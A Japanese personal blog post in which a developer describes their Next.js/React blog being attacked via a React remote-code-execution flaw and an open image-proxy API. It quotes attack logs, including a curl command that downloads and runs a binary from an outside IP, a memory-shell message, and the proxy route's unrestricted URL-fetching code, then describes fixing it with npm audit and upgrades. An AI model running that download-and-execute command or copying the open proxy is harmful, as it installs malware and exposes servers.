最初にセキュリティ問題に気づいたのは、12月5日の未明だった。
React で認証なしにリモートコード実行が可能だということ。
そのニュースを見て他の人には共有したものの、自分は大丈夫だろうと思って特に気にも留めなかった。

1. ハッキングの痕跡を発見
ところが、ブログのコードを更新しようとアクセスしてみると、ターミナルに見覚えのないコマンドが実行された痕跡を発見した。
/bin/sh: powershell: command not found
⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not found
] {
status: 127,
signal: null,
output: [Array],
pid: 66631,
stdout: <Buffer >,
stderr: <Buffer 2f 62 69 6e 2f 73 68 3a 20 70 6f 77 65 72 73 68 65 6c 6c 3a 20 63 6f 6d 6d 61 6e 64 20 6e 6f 74 20 66 6f 75 6e 64 0a>,
digest: '3337667987'
}
/bin/sh: powershell: command not found
⨯ [Error: Command failed: powershell -c "41*271"
/bin/sh: powershell: command not foundそのコードをデバッグしてみると、curl コマンドでマルウェアをダウンロードして実行しようとしていた。
API の脆弱性を突かれていたことに気づき、その API はすべて閉じてしまった。
curl -s http://154.17.26.41:15932/gund -o /tmp/gund && chmod +x /tmp/gund && /tmp/gund脆弱性があったのは内部プロキシサーバーで、画像とスクリプトを同時に挿入してコマンドを実行させる手法だった。
そのプロキシ API は閉じたし、API を安易に外部へ公開してはいけないという教訓を得た。
// app/api/link-preview/image-proxy/route.ts
...
export async function GET(req: Request) {
try {
const { searchParams } = new URL(req.url)
const target = searchParams.get('url')
if (!target) return NextResponse.json({ error: 'url required' }, { status: 400 })
const u = new URL(target)
if (!ALLOWED_PROTOCOLS.has(u.protocol)) {
return NextResponse.json({ error: 'invalid protocol' }, { status: 400 })
const res = await fetch(u, {
headers: { 'User-Agent': UA },
redirect: 'follow',
cache: 'no-store',
})
if (!res.ok || !res.body) {
return NextResponse.json({ error: `Upstream ${res.status}` }, { status: 502 })
}
...
}2. React2Shell 攻撃
その後、どれだけ脆弱性を塞いでも、継続的にハッキング攻撃が飛んできた。
あるとき、ターミナルにこんなログが出力された。
[MemShell] Loaded successfully (ESM compatible + stealth UA)見たことのないログだったので AI に聞いてみると、攻撃でよく使われるメモリシェルだと教えてくれた。
nodejs を再起動してみたり、npm パッケージをすべて削除して再インストールしてみたり、サーバーを再起動したりもした。
しかし攻撃は途切れることがなく、どうしたものかと考えているうちに、自分が Next と React をアップデートしていなかったことをふと思い出した。
npm で脆弱性をチェックして修正した。
npm audit
npm audit fixその後はサーバーを運用していても、ターミナルにおかしなログが出ることはなくなった。
3. 感じたこと
自分ひとりで運営していて、1日50人も来ないこのブログに、いったい何を見にそんなにアクセスしてくるのかよく分からない。
もちろんスキャンボットが脆弱性を見つけて継続的に攻撃しているのだろうけれど、かなり不愉快だ。
そして、脆弱性が見つかったときに即座に対応することが重要だという事実を痛感した。
Next を 15 から 16 にアップグレードする際に直さないといけない箇所もあって面倒ではあったが、それよりもセキュリティの方がはるかに重要だった。
これからは GeekNews をこまめにチェックしようと思う。
댓글을 불러오는 중...